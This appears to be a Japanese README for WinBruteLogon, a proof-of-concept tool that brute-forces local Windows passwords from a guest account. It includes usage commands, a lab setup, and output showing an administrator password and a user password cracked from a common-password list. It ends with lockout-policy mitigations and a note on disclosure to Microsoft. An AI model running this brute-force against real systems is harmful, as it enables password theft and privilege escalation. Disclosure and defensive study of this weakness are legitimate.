
Microsoft Windowsの任意のユーザーのパスワードを、いかなる特権もなしに(ゲストアカウントを含む)クラックする。
注意1:現在のツールがPowerShell版に移植されたことをお知らせします。これにより、ユーザーはPowerShellコマンドラインから直接ツールにアクセスして使用できるようになり、さらに便利で効率的になります。この新しいバージョンがユーザーの皆様に多大な利益をもたらし、ツールの体験を向上させると確信しています。引き続きのご支援に感謝し、新しいPowerShellバージョンをお楽しみください:https://github.com/DarkCoderSc/power-brute-logon
注意2:最新のWindowsバージョンでは、Microsoftがデフォルトでアカウントロックアウトポリシーを有効にしていることを最近知りました。このポリシーは、一定回数のログイン失敗後にアカウントをロックすることでシステムを保護します。これは有益なセキュリティ対策ですが、そのため現在の概念実証(PoC)はこれらのシステムでは非効率的になります。
リリース日:2020-05-14
対象:Windows XP から 最新の Windows 10 バージョン(1909)

脆弱性の位置:LogonUserA、LogonUserW、CreateProcessWithLogonA、CreateProcessWithLogonW
WinBruteLogon.exe -u <ユーザー名> -w <ワードリストファイル>
type <ワードリストファイル> | WinBruteLogon.exe -u <ユーザー名> -
Win Brute Logonは、短時間で大量のパスワードの組み合わせを推測することで、Microsoftアカウントに対するブルートフォース攻撃をシミュレートするように設計されています。これにより、ペネトレーションテスターはシステムのセキュリティ態勢をテストし、ブルートフォース攻撃に対する防御を評価できます。このツールは、多くのシステムに共通する脆弱性であるアカウントロックアウト機構の欠如を悪用します(Windows 11でデフォルトでアカウントロックアウトが有効になる前)。アカウントのパスワードを推測しようとすることで、ツールはペネトレーションテスターがセキュリティ対策の脆弱性を特定し、対処するのに役立ちます。責任を持って法律の範囲内で使用する必要があります。
このデモでは、仮想マシンまたは物理マシンに新しいバージョンのWindows 10をセットアップします。マシンをセットアップしたら、管理者としてログインします。次に、管理者アカウントと一般ユーザーアカウントの2つのローカルアカウントを作成します。デモではゲストアカウントを使用しますが、この概念実証(PoC)はゲストアカウントに限定されないことに注意してください。ゲスト、一般ユーザー、管理者ユーザーなど、任意のアカウントまたはグループから使用できます。
net user darkcodersc /add
net user darkcodersc trousers(trousersがパスワードです)
net localgroup administrators darkcodersc /add
net user HackMe /add
net user HackMe ozlq6qwm(ozlq6qwmがパスワードです)
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
私の場合、trousersとozlq6qwmの両方がSecListに含まれています:https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt
デモを開始するには、管理者アカウントからログオフするか、マシンを再起動してゲストアカウントにログインします。次に、PoC実行可能ファイルをゲストユーザーとしてアクセス可能な場所に配置します。
使い方:WinBruteLogon.exe -v -u <ユーザー名> -w <ワードリストファイル>
-vはオプションで、詳細モードを指定します。
デフォルトでは、ドメイン名は%USERDOMAIN%環境変数で指定された値です。-dオプションでカスタム名を指定できます。
darkcodersc(管理者)をクラックするプロンプト(ゲスト)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
数秒待つと、次の結果が表示されます:
[ .. ] 10k-most-common.txtファイルをメモリに読み込み中...
[DONE] 10002個のパスワードを正常に読み込みました。
[INFO] 2コアが利用可能です
[ .. ] 2つのスレッドを作成中...
[INFO] ID=2260、ハンドル=364の新しい"TWorker"スレッドを作成しました
[INFO] ID=3712、ハンドル=532の新しい"TWorker"スレッドを作成しました
[DONE] 完了しました。
[ OK ] ユーザー名=[darkcodersc]、ドメイン=[DESKTOP-0885FP1]のパスワードが見つかりました = [trousers]
[ .. ] ワーカースレッドを終了してクローズ中...
[INFO] "TWorkers"(id=2260, handle=364)スレッドが正常に終了しました。
[INFO] "TWorkers"(id=3712, handle=532)スレッドが正常に終了しました。
[DONE] 完了しました。
[INFO] 経過時間:00:00:06
HackMe(一般ユーザー)をクラックするプロンプト(ゲスト)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
数秒待つと、次の結果が表示されます:
[ .. ] 10k-most-common.txtファイルをメモリに読み込み中...
[DONE] 10002個のパスワードを正常に読み込みました。
[INFO] 2コアが利用可能です
[ .. ] 2つのスレッドを作成中...
[INFO] ID=5748、ハンドル=336の新しい"TWorker"スレッドを作成しました
[INFO] ID=4948、ハンドル=140の新しい"TWorker"スレッドを作成しました
[DONE] 完了しました。
[ OK ] ユーザー名=[HackMe]、ドメイン=[DESKTOP-0885FP1]のパスワードが見つかりました = [ozlq6qwm]
[ .. ] ワーカースレッドを終了してクローズ中...
[INFO] "TWorkers"(id=5748, handle=336)スレッドが正常に終了しました。
[INFO] "TWorkers"(id=4948, handle=140)スレッドが正常に終了しました。
[DONE] 完了しました。
[INFO] 経過時間:00:00:06
「実際のシナリオでは、攻撃者が低権限のユーザーアカウントへのアクセスを獲得した場合、より特権のあるユーザーのパスワードをクラックし、権限を昇格させる可能性があります。このリスクを軽減するには、以下の手順を実行できます:
セキュリティロックアウトポリシーを実装するには(デフォルトでは有効ではありません)、次の手順に従います:
ロックアウトポリシーは管理者アカウントには適用されないことに注意してください。この場合、管理者アカウント(有効な場合)の最善の保護は、非常に複雑なパスワードを設定することです。
この脆弱性に関するレポートは、Microsoftセキュリティチームに送信されました。彼らは、アカウントロックアウトポリシーをデフォルトで有効にすることを検討すべきです。」
(2022年更新):アカウントロックアウトがついにデフォルトで有効になりました。